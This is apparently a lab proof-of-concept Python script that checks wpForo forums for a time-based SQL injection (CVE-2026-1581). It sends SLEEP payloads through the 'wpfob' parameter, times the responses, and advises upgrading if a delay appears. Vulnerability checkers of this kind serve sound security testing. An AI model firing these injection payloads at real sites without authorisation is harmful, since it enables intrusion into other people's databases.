#!/usr/bin/env python3 """ CVE-2026-1581 — wpForo <= 2.4.14 Time-Based SQLi Timing Checker USAGE: python3 poc.py http://localhost:8081 python3 poc.py http://localhost:8081/community python3 poc.py http://127.0.0.1:8082 """ import sys import time import statistics from urllib.parse import urlparse, urljoin import requests SLEEP_SECONDS = 5 BASELINE_RUNS = 3 TIMEOUT = 20 MIN_DELTA_SECONDS = 2.0 def die(msg: str, code: int = 1) -> None: print(msg) sys.exit(code) def normalize_base(base_url: str) -> str: if "://" not in base_url: base_url = "http://" + base_url if not base_url.endswith("/"): base_url += "/" return base_url def guess_community_base(session: requests.Session, base_url: str) -> str: parsed = urlparse(base_url) path = parsed.path or "/" if path.rstrip("/").endswith("/community"): return base_url.rstrip("/") + "/" cand = urljoin(base_url, "community/") try: r = session.get(cand, timeout=TIMEOUT, allow_redirects=True) if r.status_code < 400: return cand die(f"[-] Probe failed: {cand} returned HTTP {r.status_code}. " "Forum slug may not be '/community/'.") except requests.RequestException as e: die(f"[-] Cannot connect/probe {cand}: {e}") def probe_or_die(session, url): try: r = session.get(url, timeout=TIMEOUT, allow_redirects=True) if r.status_code >= 400: die(f"[-] Probe failed: {url} returned HTTP {r.status_code}") except requests.RequestException as e: die(f"[-] Probe failed: {url} error: {e}") def measure(session: requests.Session, url: str, params: dict) -> float: t0 = time.perf_counter() try: r = session.get(url, params=params, timeout=TIMEOUT, allow_redirects=True) _ = r.text[:1] except requests.RequestException as e: die(f"[-] Request failed: {url} params={params}: {e}") return time.perf_counter() - t0 def median_baseline(session: requests.Session, recent_url: str) -> float: times = [] params = {"view": "opened"} print(f"[*] Measuring baseline on: {recent_url}") for i in range(BASELINE_RUNS): t = measure(session, recent_url, params) times.append(t) print(f" Run {i+1}: {t:.3f}s") base = statistics.median(times) print(f"[*] Baseline (median): {base:.3f}s\n") return base def check(session: requests.Session, recent_url: str, baseline: float) -> bool: """ Try payloads in order; return True on first confirmed delay """ payloads = [ f"modified,(SELECT SLEEP({SLEEP_SECONDS}))", f"modified,(SELECT IF(1=1,SLEEP({SLEEP_SECONDS}),0))", ] for payload in payloads: params = {"view": "opened", "wpfob": payload} print(f"[*] Testing payload: {payload}") t = measure(session, recent_url, params) delta = t - baseline print(f" Response: {t:.3f}s (delta: {delta:.3f}s)") if delta >= max(MIN_DELTA_SECONDS, SLEEP_SECONDS * 0.6): print(" [+] Delay detected") return True else: print(" [-] No significant delay") print("\n[!] If you expected a delay but got none:") print(" - Ensure wpForo has at least 1 topic and 1 post") return False def main() -> None: if len(sys.argv) < 2: die(f"Usage: {sys.argv[0]} \nExample: {sys.argv[0]} http://localhost:8081/community") user_url = sys.argv[1].strip() base_url = normalize_base(user_url) print("=" * 60) print("CVE-2026-1581 — wpForo SQLi Timing Checker (LAB ONLY)") print(f"Input: {user_url}") print("=" * 60) session = requests.Session() community_base = guess_community_base(session, base_url).rstrip("/") + "/" recent_url = urljoin(community_base, "recent/") print(f"[*] Using community base: {community_base}") print(f"[*] Using recent URL: {recent_url}\n") probe_or_die(session, recent_url) baseline = median_baseline(session, recent_url) vulnerable = check(session, recent_url, baseline) print("\n" + "=" * 60) if vulnerable: print("[VULNERABLE] Time-based delay detected (likely wpForo <= 2.4.14)") print(" Upgrade to 2.4.15+") else: print("[NOT VULNERABLE] No time-based delay detected") print(" Target may be patched or dataset is empty/route mismatch") print("=" * 60) if __name__ == "__main__": main()